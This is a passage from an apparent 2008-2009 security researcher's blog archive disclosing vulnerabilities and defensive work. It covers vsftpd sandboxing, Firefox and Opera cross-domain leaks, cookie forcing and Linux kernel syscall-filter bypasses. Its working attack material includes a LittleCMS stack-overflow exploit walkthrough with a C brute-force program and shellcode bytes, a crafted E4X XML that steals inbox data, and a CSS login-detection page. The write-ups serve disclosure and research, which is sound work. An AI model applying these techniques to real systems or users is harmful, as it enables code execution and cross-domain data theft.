RLIMIT_NOFILE support for some of the unprivileged vsftpd processes. This excellent defensive tweak comes courtesy of my colleague Tavis Ormandy with further research by Julien Tinnes. When set to 0, this limit prevents a process from gaining any new file descriptors. So a compromised unprivileged process doesn't get to create new network sockets or open new files. Of course the filesystem aspect is not as good as chroot() because non-fd-based syscalls such as stat() etc. will still leak information and something like rename() may present a total compromise. So there's limited value without combination with a chroot() and also a switch to a different UID to prevent devastating ptrace() attacks. This is a shame because this facility is available to non-root users; and options to voluntarily jail yourself as a non-root user under Linux are generally terrible. There are a couple of additional annoyances: POSIX requires that RLIMIT_NOFILE==0 prevents any file descriptors in a poll() call but curiously not select(). Also, the limit includes file descriptors passed in over a UNIX socket so this precludes some neat designs. Still, an interesting tweak to bear in mind.

CLONE_NEWPID / CLONE_NEWIPC support for all distinct vsftpd sessions. These flags were added to the Linux kernel extremely recently, and essentially allow you to launch new processes in isolated PID and IPC ID spaces. This represents further limits on the damage that a compromised vsftpd process could cause. The isolated PID space means no ability to kill() all other vsftpd sessions. (Note that the more serious ptrace() is already carefully defended against with management of the per-process "dumpable" concept). The isolated IPC ID space means no ability to abuse the common flaw of IPC objects with inappropriate world-access permissions.

A more plausible E4X attack

2009-05-20T19:33:00.001-07:00

As a quick recap, "E4X" is the name of a Javascript standard relating to strong XML support in the language. Firefox has had an implementation for quite some time but no other major browser seems to have followed suit.

My colleages Filipe Almeida and Michal Zalewski led the way in E4X security; check out:

http://code.google.com/p/doctype/wiki/ArticleE4XSecurity

However, the attack scenarios in that document are in my opinion not likely to occur in many web apps. It so happens that I was fiddling around the night before my HiTB talk (which briefly covers E4X) and I came up with something more compelling. Take a hypothetical web mail service which provides an XML feed format of the inbox, which might look something like this:


<inbox>
<mail id="1234"><from>evil@hacker.com</from><subject>{ x = '</subject><body>PWN...</body></mail>
<mail id="1235"><from>bank@bank.com</from><subject>Super sensitive!</subject><body>New pin: 9976</body></mail>
<mail id="1236"><subject>' }</subject><body>...ed!!</body></mail>
</inbox>

One general concept of interest in the above fragment is the ability of the attacker to echo little pieces of attacker-controlled text onto a trusted domain. Specifically, in e-mail subject text! More on this in another post.
With this realization, we're all set to mount an E4X-based theft attack. First, you'll want to see it in action. You'll need Firefox to see the popup alert indicating cross-domain XML theft:

https://cevans-app.appspot.com/static/e4xtheft.html

The attack works by cross-domain including the XML formatted inbox into the attacker's page via <script src="blah">. Raw XML is valid Javascript in Firefox, thanks to E4X, so this parses and executes in the attacker's context. The reason the attacker is able to mount a theft is that E4X looks for curly braces in XML values and tries to interpret the surrounded text as a Javascript expression to evaluate. Looking again at our above XML, we see the following in the middle:


<subject>{ x = '</subject><body>PWN...</body></mail>
<mail id="1235"><from>bank@bank.com</from><subject>Super sensitive!</subject><body>New pin: 9976</body></mail>
<mail id="1236"><subject>' }</subject>

As you can see, the attacker's sneaky choice of subject lines has caused an expression to be evaluated which:

Wraps a part of the XML in single quotes, forming a Javascript string literal.
Assigns said string literal to a Javascript variable in the attacker's domain!
Leaves the XML tag structure balanced, thanks to the repeating nature of the XML tree.

For the attack to work, there are constraints:

There must be no newlines in the part of the XML structure that you are stealing, because Javascript literals cannot span unescaped newlines.
There must be no XML prolog or DTD since these break the Firefox E4X parser.
The single quote character must be rendered into XML values unescaped and double quotes must be used to surround XML attributes (or visa versa).

There will be real-world services matching these constraints. When you find them, drop me an e-mail or leave a comment.
As always, Mozilla security responded wonderfully to this advance in E4X theft. A behavioural tweak was committed and is due in Firefox 3.5, which will break this attack.

HiTB Dubai: all over apart from the blogging

2009-05-01T23:59:00.000-07:00

I recently had the pleasure to be invited by Dhillon to present at HackInTheBox (HiTB) Dubai with Billy Rios on our "Cross Domain Leakiness" work. Here is a link to our updated slides:

http://docs.google.com/Presentation?id=dfgb2455_72fkwc2phc

It was a very productive conference, all told. The sort of conference where new attacks materialise over breakfast conversations. In terms of new and pending material, I'll do separate posts regarding:

My latest E4X cross-domain theft attack (building on the work of my colleagues Filipe and Michal)

A new "divided login" attack (Billy and I having fun over breakfast)

JDK GIFAR fix considered incomplete

A new cross-browser cross-domain theft

There was also a very interesting (and perhaps overdue) theme running throughout the conference. It was best put in words during Mark Curphey's keynote address: "builders vs. breakers". And my summary of this is that the industry has too many breakers and not enough builders. Builders have the maturity to step back from the world of random bugs and glitzy hacks, and move the state of security forward. But the economics of the security industry often selects for breakers: the 17 year old kid who finds an XSS in Twitter gets all the press attention; conferences are full of talks about one-off hacks and breaking technologies because the "let's fix it" talks are not showy enough; opinionated and technically lacking blogs and advisories seem to be favoured sources of information.

I'm going to be thinking about contributing more to the building side.

Sun Java JRE Pack200 bugs

2009-03-27T20:04:00.000-07:00

A friend of mine, Rich Cannings, spotted my name in a Sun security advisory so I guess this means my Pack200 crashes are fixed:

http://scary.beasts.org/security/CESA-2009-005.html

This bug continues a trend of looking to native code parsers within the JRE, in order to break out of it. The most obvious application is to take over desktops via evil applets which abuse these bugs to cause memory corruptions.

The individual bugs themselves are pretty lame insofar as they are under-researched with a bit of dumb fuzzing. I was simply testing the general area for robustness, and found trouble. Other people have hit the same area, through iDefense, in the past couple of JRE updates -- hopefully they did a better job than me.

The interesting point is that researchers seem to have gotten the point regarding native code in the JRE. I've hit areas such as 2D graphics; ICC parsing and now Pack200 parsing. Others have hit GIF parsers and the font parsing. Aside from well-tested native code (jpeglib, zlib, libpng), and more of the same (e.g. a lot of font / 2D medialib code!), what's left? com.sun.media.sound? sun.java2d? Have at it :)

LittleCMS exploit

2009-03-26T18:20:00.000-07:00

Now that new packages are out for lcms and OpenJDK, I'll publish my LittleCMS exploit. It's harmless in that if it actually works on your machine, all it does it put your CPU into a spin -- watch out for 100% CPU usage. It's also relatively harmless in that it doesn't work on many systems out of the box. I targeted my 32-bit Ubuntu 8.10 laptop which happens to have an executable heap, executable stack, no stack cookies but does have ASLR.

Here's the sample JPG file with embedded evil ICC profile: http://cevans-app.appspot.com/static/CVE-2009-0733.jpg

I'm only bothering to write about this because the story behind the exploit contains a few interesting twists which illustrate the iterative constraint solving used in modern exploits:

The underlying code flaw is a stack-based buffer overflow. But the data going past the bounds is not arbitrarily user-controlled. (If it were, a traditional stack smashing exploit would work, but the ASLR could affect the reliability of the exploit). Here's the faulty code in cmsio1.c, where nCurves can end up greater than MAXCHANNELS:
```
static
LCMSBOOL ReadSetOfCurves(LPLCMSICCPROFILE Icc, size_t Offset, LPLUT NewLUT, int nLocation)
{
    LPGAMMATABLE Curves[MAXCHANNELS];
...
    for (i=0; i < nCurves; i++) {

        Curves[i] = ReadCurve(Icc);
...
```

The data going past bounds is actually pointers to heap chunks (returned by ReadCurve). This is nice because it takes ASLR out of the equation. We'll automatically overwrite %eip with a pointer to a valid heap address. But what is in that heap chunk? If it were arbitrary user controlled data, we'd have game over already, but unfortunately it is not. We're looking at pointers to this structure:
```
struct GAMMATABLE {
  unsigned int Crc32;
  int Type;
  double Params[10];
  int nEntries;
  WORD GammaTable[1];
}
```
There are two types of constructs in the input ICC profile used as a basis to populate this structure: curv and para. curv is of little use to us because it mostly leaves Crc32 set to 0 (or set based only on 16 bits of input entropy). Trying to execute the code 0x00 0x00 is a crash because it dereferences the %eax register: add %al,(%eax), and the value of this register is left as 0 or 1 to denote success of failure when the ReadSetOfCurves function exits.

This leaves us looking at a para curve, which calculates Crc32 based very indirectly on some input variables under our control. Although we can't reverse it, we can brute force it with a little program:


#include "lcms.h"

static
void AdjustEndianess32(LPBYTE pByte)
{
        BYTE temp1;
        BYTE temp2;

        temp1 = *pByte++;
        temp2 = *pByte++;
        *(pByte-1) = *pByte;
        *pByte++ = temp2;
        *(pByte-3) = *pByte;
        *pByte = temp1;
}

static
double Convert15Fixed16(icS15Fixed16Number fix32)
{
    double floater, sign, mid, hack;
    int Whole, FracPart;

    AdjustEndianess32((LPBYTE) &fix32);

    sign  = (fix32 < 0 ? -1 : 1);
    fix32 = abs(fix32);

    Whole = LOWORD(fix32 >> 16);
    FracPart  = LOWORD(fix32 & 0x0000ffffL);

    hack    = 65536.0;
    mid     = (double) FracPart / hack;
    floater = (double) Whole + mid;

    return sign * floater;
}

int
main(int argc, const char* argv[]) {
  unsigned int crc;
  unsigned char* p_crc;
  double params[10];
  int type = 0;
  unsigned int i;
  unsigned int start = atoi(argv[1]);

  for (i = start; i <= 0xffffffff; ++i) {
    if ((i % 10000) == 0) {
      printf("progress: %u\n", i);
    }
    params[0] = Convert15Fixed16(i);
    LPGAMMATABLE table = cmsBuildParametricGamma(4096, type + 1, params);
    crc = table->Seed.Crc32;
    p_crc = &crc;
    if ((p_crc[0] == 0x93 || p_crc[0] == 0x95 || p_crc[0] == 0x97) &&
        p_crc[1] == 0xff &&
        p_crc[2] == 0xe6) {
      printf("got it!!!!!!! %u %u\n", i, p_crc[0]);
      return 0;
    }
    free(table);
  }
  return 1;
}

What does this program do? Let's see:
```
chris@chris-desktop:~/progs$ ./a.out 3221970952
got it!!!!!!! 3221970952 151
```
This is telling us that a para curve of type 0 whose 4 input bytes are 3221970952 == 0xC00B6008 will result in 0x97 0xff 0xe6 0x?? being written to Crc32. We don't care about the last byte. This assembles to xchg %eax,%edi jmp %esi which will execute because %eip jumps to this para heap chunk, which starts with the CRC. It is urgent to do something in 4 bytes or less because we have terrible control over the rest of the content of this heap chunk. What these 3 bytes do is to overwrite %eax with %edi then jump to %esi. The significance here is that both registers we used were under our control because they were also restored from the stack we trashed with pointers to valid heap chunks.

So execution continues at the curve heap chunk pointed to by %esi. We arrange for this to be a curv type chunk. Earlier we dismissed them as useless because the 0 Crc32 will result in a dereference of %eax. But now, thanks to our para chunk, we've repaired %eax to point to a valid heap chunk! Unlike para chunks, curv chunks do contain arbitrary data we can supply, after a mostly-zero header. We've essentially used the control at the beginning of a para chunk to repair %eax and use the vast control at the end of a curv chunk. Before our arbitrary code executes, a bunch of now harmless 0x00 0x00 will execute, writing some junk at the start of one of our unused heap chunks. Finally, just before our arbitrary code, the value of nEntries in the header will be executed. This value is 0x02 0x00 0x00 0x00 which is add (%eax),%al add %al,(%eax). This trashes %eax a little bit before dereferencing it again, but only up to 256 bytes, so we're good and we could always use a different number of entries in our curv chunk. Certainly, a real payload would need more than 2 words.

The actual arbitrary code that executes is 0xeb 0xfe which is equivalent to for (;;); in C. Look out for an endian reversed instance of those two bytes, as well as an endian reversed 0xC00B6008 in the exploit file.

There's one further twist in the exploit relating to stack alignment. Some compilation optimization leaves no space between the end of the Curves array and the start of the saved registers. Other cases have a 4-byte gap. The exploit caters for both these stack layouts by careful layout of curv vs. para chunks. Here's a simple illustrative table:

Curve in input file	Hit if 0 gap	Hit if 4 bytes gap
17: blank curv	ebp	4-byte gap
18: curv payload	esi	ebp
19: curv payload	edi	esi
20: blank curv	ebx	edi
21: para redirect payload	eip	ebx
22: para redirect payload	eip + 4	eip

As can be seen, %eip always gets the para payload and %esi always gets the real payload.

With thanks to Julien Tinnes and Tavis Ormandy for inspiration.

LittleCMS vulnerabilities

2009-03-17T16:42:00.000-07:00

Today, vendor updates should be flowing for vulnerabilities in LittleCMS, sometimes known just as "lcms" or "liblcms". LittleCMS is a very useful open-source colour profile parsing and conversion tool. Some technical details of the various vulnerabilities (stack-based buffer overflows, integer overflows, etc). are given here:

http://scary.beasts.org/security/CESA-2009-003.html

The most interesting thing about LittleCMS is how quickly it has become a very critical building block for UNIX desktops. Let's enumerate some of the pieces of software impacted by any lcms vulnerabilities:

OpenJDK. OpenJDK uses lcms to parse colour profiles embedded in JPEG or BMP files. OpenJDK is on the default browser attack surface of a lot of Linux installations, e.g. Fedora 10.

Firefox. Firefox 3.1beta uses lcms to parse colour profiles embedded in JPEG files -- by default. (Firefox 3.0 has this ability but not by default, so thankfully this can be addressed before 3.1 goes production).

GIMP. GIMP uses the system liblcms library to parse colour profiles embedded in at least JPEG files.

I don't usually do this, but I took the trouble to write an exploit for one of the bugs, because it was fun and had some quirks. It's probably not a great idea to release it just yet -- look for a separate blog post soon.

Finally, some notes on the various Linux system protections that do or don't help defend against the exploit for this stack-based buffer overflow:

My exploit targets, but is not limited to, systems with executable heaps. Interestingly 32-bit Ubuntu 8.10 on my laptop shows the heap as non-executable in /proc/<pid>/maps, but it lies because the installed kernel is non-PAE.

For systems with non-executable heaps, such as 64-bit Ubuntu 8.10 on my desktop, an exploit is still possible because you can point registers other than rip into the heap (e.g. rbp). I've not written this exploit.

Systems with stack smashing detection, such as Fedora 10, do make the exploit hard or impossible. However, the somewhat risky OpenJDK package on such a system is not compiled with stack smashing detection, leaving the default browsing experience vulnerable.

I noticed that the Fedora 10 stack smashing detection does not exit cleanly, but gives a SIGSEGV. On 32-bit, the faulting instruction is cmpw $0xb858,(%eax) where %eax == 0x1. Stack frames is __stack_chk_fail __fortify_fail __libc_message backtrace _Unwind_Backtrace ??. Leave a comment if you know what's going on. Sounds dangerous to me.

Linux kernel minor "seccomp" vulnerability

2009-02-25T14:57:00.000-08:00

I just released some technical details on why and how "seccomp" is vulnerable to the Linux kernel syscall filtering problems that I previously blogged about. The full details may be found here:

http://scary.beasts.org/security/CESA-2009-004.html

The actual bug is of little significance because pretty much no-one uses seccomp:

This searches for the PR_SET_SECCOMP string on Google Code Search

In addition, even if people did use this -- the bug is not a full break out, just some leakage of filesystem names via stat() or mischief via unrestricted chmod().

However, I still find this vulnerability interesting. It's a sobering reminder that even a very simple security technology can have surprising bugs. seccomp applies extremely tight restrictions on untrusted code, but within these constraints, the code still has opportunities to misbehave! And this isn't the only example. For reference, check out how a seccomp-constrained process could historically cause trouble in the syscall tracing path with:

CVE-2007-4573: trouble with the upper 32-bits of %rax not clear

CVE-2008-1615: trouble calling syscalls with a bad value in the %cs register

CVE-2004-0001: trouble with EFLAGS, unknown trigger

Linux kernel minor signal vulnerability

2009-02-24T20:35:00.000-08:00

I recently came up with a little API abuse of the clone() system call. Not earth shattering, but definitely fun. Essentially, you can send any signal you want at any time to your parent process, even if it is running with real and effective user id of someone else (e.g. root). Full technical details and an example may be found here:

http://scary.beasts.org/security/CESA-2009-002.html

Maybe someone more devious that me can come up with better abuse scenarios than I can. Have at it...

Signals are a tricky area of the kernel on a lot of levels. I find it interesting that every slightly unusual way to send signals in the kernel has suffered from access control issues in the past. For example, this COSEINC advisory notes issues in sending signals via prctl(PR_SET_PDEATHSIG, ...). There were multi-vendor issues with fcntl(..., F_SETOWN, ...) a long time ago which resurfaced in a Linux-specific manner a little after.

vsftpd-2.1.0 and ptrace() sandboxing

2009-02-20T15:49:00.000-08:00

The new sandboxing support mentioned in the vsftpd-2.1.0 announcement post is actually a ptrace() based sandbox.

It is experimental and therefore off by default. It only currently supports i386 Linux (but there's no reason you couldn't hack the Makefile to build 32-bit on 64-bit Linux). When enabled, it only engages when using one_process_model, i.e. simple anonymous-only configurations. To (try and) enable it, set sandbox=YES in your config file. If you do try, please e-mail or leave a comment, even if it works!

But was it worth the effort? That's a very astute question; vsftpd already pioneered privsep support as a way of limiting the damage of a compromise of the FTP parsing code (or more likely OpenSSL, if enabled).

Let's briefly examine the damage that can be done in the event of a compromise of the low-privileged end of a privsep-based solution. Let's also assume the low-privileged end is running in a suitable chroot() jail with no sensitive, writeable or setuid files. With arbitrary code execution, the attacker can still:

Mount attacks against the kernel API to gain root
Connect to internal RFC1918 networks, i.e. firewall bypass
Connect to localhost, i.e. attack local-only services
Cause a nuisance by spraying SIGKILL signals around
Mess with any shared objects (e.g. POSIX shared memory) with inappropriate permissions
Subvert other processes with the same UID / GID via ptrace() (vsftpd defends against this as long as you set nopriv_user to a value unique to vsftpd)
Abuse your CPU / bandwidth

The sandbox eliminates most of the above concerns and drastically reduces the attack surface on others. On the downside, there are some minor performance losses such as an extra process per-session and per-syscall overhead but nothing severe. So for extreme paranoia, perhaps there is benefit here. We'll see.

vsftpd-2.1.0 released

2009-02-18T15:31:00.000-08:00

I just released vsftpd-2.1.0, with full details being available on the vsftpd web page:

http://vsftpd.beasts.org/

It fixes a bunch of bugs and compile errors, introduces a few minor new features, has some code clean ups, etc. etc.

vsftpd-2.1.0 is interesting from a security perspective because of its changes to SSL support. It actual contains a reasonable resolution to the connection theft attack I blogged about here:

http://scarybeastsecurity.blogspot.com/2008/02/your-ftp-ssl-solution-is-really-secure.html

In the linked advisory I said "I have a crazy idea to use the SSL session cache as a cheezy form of authentication". Well, thanks to investigation by Tim Kosse of FileZilla fame, it turns out this is a very feasible option. Better still, a large number of clients already (whether they know it or not) use SSL session reuse between the control and data connection. This includes up to date versions of FileZilla, lftp and command line ftp-ssl. Therefore, vsftpd now defaults to requiring SSL session reuse. If your SSL FTP client does not re-use sessions, you can turn this off but you would do better to change FTP clients. Tim's FileZilla seems like a pretty awesome option to me. Hopefully other FTP servers will follow suit (quick source code scanning of popular open source ones seemed to lack a call to the relevant SSL_session_reused OpenSSL API.

Other new security features are:

A per-process memory map limit of 100Mb. Just because it was easy, really. Note however!!! A memory leak in a session-private, isolated child process of a daemon cannot really be considered a security problem in this day and age -- unless you're on crack.

An ambitious new built-in sandbox. Think of it as privsep++, but more on this in an upcoming post and paper.

Bypassing syscall filtering technologies on Linux x86_64

2009-01-23T12:32:00.000-08:00

For those interested in syscall filtering technologies, check out my latest advisory on how policies can be bypassed under certain circumstances:

http://scary.beasts.org/security/CESA-2009-001.html

There's a neat trick on the x86_64 kernel; this kernel supports both 32-bit and 64-bit processes, and interestingly, the syscall tables are different in either case. However, with a bit of trickery, a 64-bit process can call a 32-bit syscall (and visa versa), and confuse the syscall filter.

This was discovered whilst experimenting on a new security feature for vsftpd; a future post will go into this.

Opera, SVGs and Java applets

2008-12-18T01:32:00.000-08:00

Opera 9.63 was just released with some security fixes. I reported one of these issues, but neither myself nor Tarquin (a super friendly and knowledgeable Opera security guy) could do anything significant with it, despite feeling uneasy about the feature.

The issue is this: when an SVG image is included via an <img> tag, it is standard practice to disable running of JavaScript in that context. However, I noted that you could run a Java applet (and Flash presumably) in this context via the SVG tags such as <html:applet>.

A demo is here: https://cevans-app.appspot.com/static/svgapplet.html

Every attack we came up with is catered for. We discussed some very in-depth attacks (which I don't want to go into just yet) but Opera has some nice tweaks such as respecting Content-Disposition: attachment for SVG images referred to via the <img> tag. The Opera guys even checked that the unusual context of executing due to an <img> tag gets the domain correct (that of the img resource, not the hosting page). By the time I inquired about this, they had already checked.

I continue to be impressed with Opera; the bug was fixed lightning fast even though no severe impact is known. And a few little Opera defensive measures turned out useful. This follows on from Opera being immune to my image theft via SVG attack.

Not many browsers support this advanced feature. Aside from Opera, both Safari and Chrome support this. But they do not render Java applets in SVGs in the <img> tag context.

If you can think of a scenario where these embedded applets could cause more trouble that I've realized, please leave a comment or mail me :)

Firefox cross-domain text theft....

2008-12-17T23:48:00.000-08:00

... and a reappearance of the "302 redirect trick".

Here's the second bug from my PacSec presentation, and it's another Firefox one; kudos to the Firefox security team for their responsiveness. It's fixed in the recent 2.0.0.19 and 3.0.5 releases.

It involves, yes, a cross-domain <script src="blah"> tag. These remain a horrible wart in web app security; you have to make sure that any authenticated resource on your domain either does not have any side effects when parsed / executed as JavaScript, or is CSRF protected.

This particular bug involves Firefox's window.onerror handler, which reports on JavaScript parse and execution errors. This handler has previously been used by Jeremiah Grossman to determine login status via script errors, see here! (Whereas this hole can be closed, it's not clear my similar attack via CSS can be).

The new attack notes that certain JavaScript error messages leak real content from remote domains, for certain constructs of data. More in-depth technical detail is here:

http://scary.beasts.org/security/CESA-2008-011.html

One cute twist is that Firefox 3 already had this fixed (thanks to Filipe Almeida; see credit below), but the "302 redirect trick" bypassed that fix. This trick is becoming quite fruitful; see previous Firefox image theft bug.

Credit to Filipe Almeida for being awesome. He was playing with this stuff long before anyone else.

Cookie forcing

2008-11-24T11:32:00.000-08:00

It's time to write some coherent details about "cookie forcing", which is the name I've given for a new way to attempt to break into secure https sessions. This is surfjacking to the max - attacks an active MITM (man-in-the-middle) can attempt against an https application that follows best practices like marking its cookies secure; avoiding XSS and XSRF; etc.

Cookie forcing relies on slightly broken browser behaviour. Namely, an http response can set, overwrite or delete cookies used by an https session. This is a minor violation of https session integrity that can have significant consequences. Unfortunately, the cookie model works this way by specification and the addition of the Secure flag did not clean this up.

This means that every cookie value used by https applications could be malicious. This is somewhat counter-intuitive for developers of https-only apps, so it's understandable that vulnerabilities result from too much trust here. Looking at specific classes of vulnerability that can result from this, we have:

XSS
XSRF
Login XSRF
DoS
Logic abuse

Regarding XSS, any trust of the cookie value to be properly escaped (before e.g. pasting it into the DOM or document.write) is a vulnerability. Properly escaping the cookie value on write and relying on https for integrity is not sufficient, unfortunately.

There's another increasingly common application construct which cookie forcing can abuse to cause XSS. An increasing number of frameworks are writing JSON into cookie values for fast deserialization of complex data types. Some of these frameworks read the values back in using the fast option of e.g. eval('var x = ' + getCookieValue('STATE')). I'm sure you can see the pitfall here.

Regarding XSRF, there is a certain type of XSRF protection that can be subverted by cookie forcing. If the XSRF protection is a simple comparison between a URL parameter value and a cookie value, the active MITM attacker can now fake both of these. The mitigation is to ensure that the value is cryptographically attached to the current user's session via e.g. an HMAC.

Regarding login XSRF, I recommend the very recent paper by Adam Barth, Collin Jackson and John Mitchell which covers this topic nicely. These guys are great - they don't just moan about breakage in the browsers, they work to fix it up too. See the "Cookie-Integrity" header suggestion. In the absence of this header, one possible mitigation is to randomize the name of the session cookie. But that's going to a somewhat extreme measure to work around a browser deficiency. I'm not going to recommend every web app does something complex, when the fix should be driven by the browsers. Also note that logout XSRF will be near impossible to fix; an attacker can just spray cookies into a browser until it drops the session cookie.

Regarding DoS and logic abuse, there is the possibility to mess with any cookies an https app uses, to try and make is misbehave when it encounters unexpected values. The mitigation is to sign any sensitive cookies (tying to the current user, preferably current session).

Cookie forcing works very well in conjunction with my previous post regarding browser background http requests. In such an attack, a victim won't see anything untoward. The redirections all happen behind the scenes and do not change the URL status bar.

Remember that this attack is only relevant against https applications without any more obvious vulnerabilities. You need an active MITM capability (e.g. public wireless) to attempt it. Any applications without https support are already ruined against such a threat model.

Credit to Filipe Almeida for being about two years ahead of the rest of the web app security community, as usual. The XSRF issue was his originally, and a long time ago. More recently, there appears to have been an independent discovery by Collin Jackson and friends at Stanford.

Owning the paranoid: browser background traffic

2008-11-21T18:10:00.000-08:00

When I talk to a lot of security researchers or paranoid types, it's very common to hear them describe how they very carefully access their bank account or personal GMail etc. Generally, the model used is to launch a separate browser instance, and navigate straight to an https bookmark. The session remains single-window, single-tab. It's a powerful model; the intent is to eliminate the chance of another (http) tab being a vector for owning the browser, or more likely abusing a cross-domain flaw in the browser or bank's web application.

Attacking this browsing model was one of the key demos in my PacSec presentation.

Whether you know it or like it or not, your browser is likely engaging in a flurry of behind-the-scenes plain http requests. Some examples are:

Safebrowsing updates
OCSP or other certificate related requests
Updating RSS feeds

Before going on to what a MITM attacker can do here, it's very worth mentioning the mitigation that I found. It seems to work well on the browsers I tested. If you set your http proxy (and all protocols other than https, why not) to localhost:1, then this unwanted plain http traffic will not go out on the network. The browsers seem to honour the proxy setting even for internally-initiated requests which is nice. It's not entirely clear that blocking OCSP requests in this way is ideal, but it's better than the alternatives.

So what evil can the MITM attacker do with these plain http requests? The good news is that the requests that need to be are signed (Safebrowsing and OCSP). Interestingly, a failure talking OCSP during an https initiation does not prevent the connection, but that's a separate discussion.

Specific useful attacks include:

Attacking the exposed HTTP protocol attack surface
Replying with a 302 redirect in order to exploit surfjacking
Replying with a 302 redirect followed by a Set-Cookie to exploit cookie forcing

As you can see, it's an interesting result that this paranoid browsing model does not protect you from surfjacking attacks where you think it might have. Particularly so because a lot of financial web sites neglect to mark their cookies Secure.

Cookie forcing is a great advanced way for an MITM to break into https web apps that are not vulnerable to surfjacking (or XSS, XSRF, XSSI, the usual stuff etc). I will detail this new attack class and its opportunities in a subsequent post. Also see Billy's nice write up on mixed content http script loading for another under-appreciated attack against https web apps.

Closing questions that could lead to future research include:

Do Firefox / Opera / other browsers have robust OCSP response parsers?
What can you do with evil / malformed XML responses to RSS updates?
What about replying to a background request with an unexpected MIME type - does that expand the attack surface?
What about other interesting or unexpected HTTP headers?

E4X and a Firefox XML injection bug

2008-11-18T16:19:00.000-08:00

Up-front credit to my colleagues Filipe Almeida and Michal Zalewski who led the way in E4X security research.

If you haven't heard of E4X, or don't know why Firefox's E4X support should scare you, please consider reading this article.

I've just released details for a recently fixed Firefox XML injection bug. It's one of those bugs that is in search of a good exploitation opportunity. Currently, the known impact is negligible, but I'm throwing it out in case anyone has better ideas than I do. It feels like the interaction of this bug and E4X should be fruitful but perhaps not:

http://scary.beasts.org/security/CESA-2008-010.html

Firefox cross-domain image theft... and the "302 redirect trick"

2008-11-17T18:35:00.000-08:00

Here's the first bug with full details from my PacSec presentation. It's fixed in the recent Firefox 2.0.0.18 update. Firefox 3 was never vulnerable. In a nutshell, decent modern browsers permit you to read the pixels from an image by rendering images to a <canvas> and calling the Javascript APIs getImageData or toDataUrl. Therefore, cross-domain checks are required on the usage of these APIs. In Firefox, these checks were present but did not cater for the "302 redirect trick" properly.

So what is the "302 redirect trick"? It is where a malicious web page accesses a remote resource by referring to a local same-domain URL which hits the remote resource via an HTTP redirect. If the attacker is lucky, the browser is fooled into believing the remote resource is actually a local resource. And then theft is trivial.

The "302 redirect trick" has appeared many times in the past. It will undoubtedly lead to more vulnerabilities (I have two pending in fact). My personal past favourite was from my Google colleague Martin Straka, who noticed that 302 redirect targets leaked into the DOM when loading stylesheets.

The "302 redirect trick" works particularly well in cross-domain areas where the cross-domain nature of requests used to be unimportant. In this example of images, it has always been accepted that existence (or not) and width / height leaks cross-domain. However, getting the domain right became critical when the image data itself became accessible. Contract with iframes, where getting the domain right has always been critical. Browsers tend to not suffer vulnerabilities when loading iframes via a redirect.

Full details including demo attack code are in the advisory:

http://scary.beasts.org/security/CESA-2008-009.html

PacSec presentation

2008-11-16T06:22:00.000-08:00

My recent PacSec presentation (with Billy Rios), entitled "Cross-domain leakiness", is now online.
You can view it via this link.

There's a new way to attack SSL-enabled web apps in there ("Cookie Forcing"); a bunch of serious browser cross-domain thefts (many not yet disclosed); and attacks against the paranoid one window / one tab browsing model.

The slides by themselves are a little sketchy on detail. So over the next few days, time permitting, I'll write individual blog posts summarizing these areas. I will also blog details about the serious cross-domain thefts as and when the browser vendors fix them.

Some Python bugs

2008-10-20T09:31:00.000-07:00

A little late on this report, but here are some Python runtime bugs I found back in May 2007:

http://scary.beasts.org/security/CESA-2008-008.html

Nothing too interesting. It continues to illustrate that modules backed by native code are a great way to break out of a VM. Also, image manipulation code remains a hot spot for integer overflows.

The pickle bug is worth talking about. It has been known for trusted applications to unpickle untrusted data. Of course, any such application invites arbitrary Python code execution unless the pickled buffer is very carefully sanitized; Python pickle buffers can carry Python executable payloads. Assuming an application avoids this more egregious security bug, this is a nasty subtlety. Along with the string concatenation bug, it's a way an attacker could directly attack a trusted application written in an allegedly memory-safe language.

Whilst testing out the pickle bug, I was seeing a very interesting glibc interaction:

*** glibc detected *** ./python: munmap_chunk(): invalid pointer: 0x0819e9a8
Segmentation fault

Unfortunately, my laptop with the magic glibc / gcc versions to reproduce this died horribly and I can't even remember what it was running. Anyway, these messages suggest that the glibc memory error handler is trusting the heap rather than "getting the hell out" by using write(stderr, ...) and kill(getpid(), SIGABRT). This can sometimes turn an unexploitable condition into an exploitable one. If you're interested in looking into this, let me know and I can try and help with the test environment.

Cross-domain leaks of site logins

2008-08-30T00:26:00.000-07:00

Browsers suck. We're building our fortified web apps on foundations of sand. A little while back, I was talking with Jeremiah about an interesting attack he had to determine whether a user is logged into a given site or not. The attack relies on the target site hosting an image at a known URL for authenticated users only. It proceeds by abusing a generic browser cross-domain leak of whether an image exists or not -- via the onload vs. onerror javascript events. Browsers generally closed that leak for local filesystem URLs (thus preventing accurate profiling of a victim's machine) but neglected to close it generally.

My version of this "login determination" attack is to abuse another leaky area of browser cross-domain handling: CSS. The <link> tag permits us to load CSS resource from arbitrary domains. The two interesting observations here are that we can read arbitrary CSS property values if we know the name of the style plus the property name we are interesting in. Secondly, most websites serve different CSS depending on whether the user is logged in or not. In addition, remember that browsers will happily pluck inline style definitions out of HTML. Put these things together, and here's a FF3.0.1 snippet that will tell if you are logged into MySpace or not:


<html>
<head>
<link rel="stylesheet"
href="http://home.myspace.com/index.cfm?fuseaction=user"/>
<script>
function func() {
var ele = document.getElementById('blah');
alert(window.getComputedStyle(ele, null).getPropertyValue('margin-bottom'));
}
</script>
</head>
<body onload="func()">
<div id="blah" class="show">
</body>
</html>

If you are logged in, you'll see "3px" vs. "0px" otherwise.

You'll also appreciate from this that any CSS property value is stealable cross-domain, assuming the style names aren't randomized (which I've never seen). The natural follow-up question is, are sensitive values stored in CSS properties? Currently, generally not, although I have seen background-url storing look & feel customization which could assist fingerprinting a user. In a couple of extreme cases, I've seen background-url used with a data: URI such as data:image/png;base64,blabla. Might be worth stealing.

Ode to the bug that almost was

2008-08-29T15:52:00.000-07:00

This post is a tribute to the hundreds of bugs that never quite were serious, and the emotional roller coaster ride on which they take researchers.

Some brief background. The skill in finding serious bugs these days isn't in being a demon code auditor or a furious fuzzer; there are thousands of these. The skill lies instead in finding a piece of software, or a piece of functionality, that has the curious mix of being important yet not having seen much scrutiny.

Onto today's almost-bug: an interesting integer condition in the ZIP parser of Sun's JDK. The ZIP parser is a critical piece of code because not only is it used to parse JARs, but also server-side Java applications will often parse untrusted ZIPs. (Such direct server-side attacks, along the lines of my JDK ICC parser vulnerabilities last year, are nasty, and starting to recently become in-vogue for Python, Ruby and Perl too). The affected API is java.util.zip.ZipFile. Best I know, java.util.zip.ZipInputStream is not backed by the same native code, and thereby unaffected.

The interesting code, in zip_util.c follows:


    /* Following are unsigned 32-bit */
    jlong endpos, cenpos, cenlen;
...
   /* Get position and length of central directory */
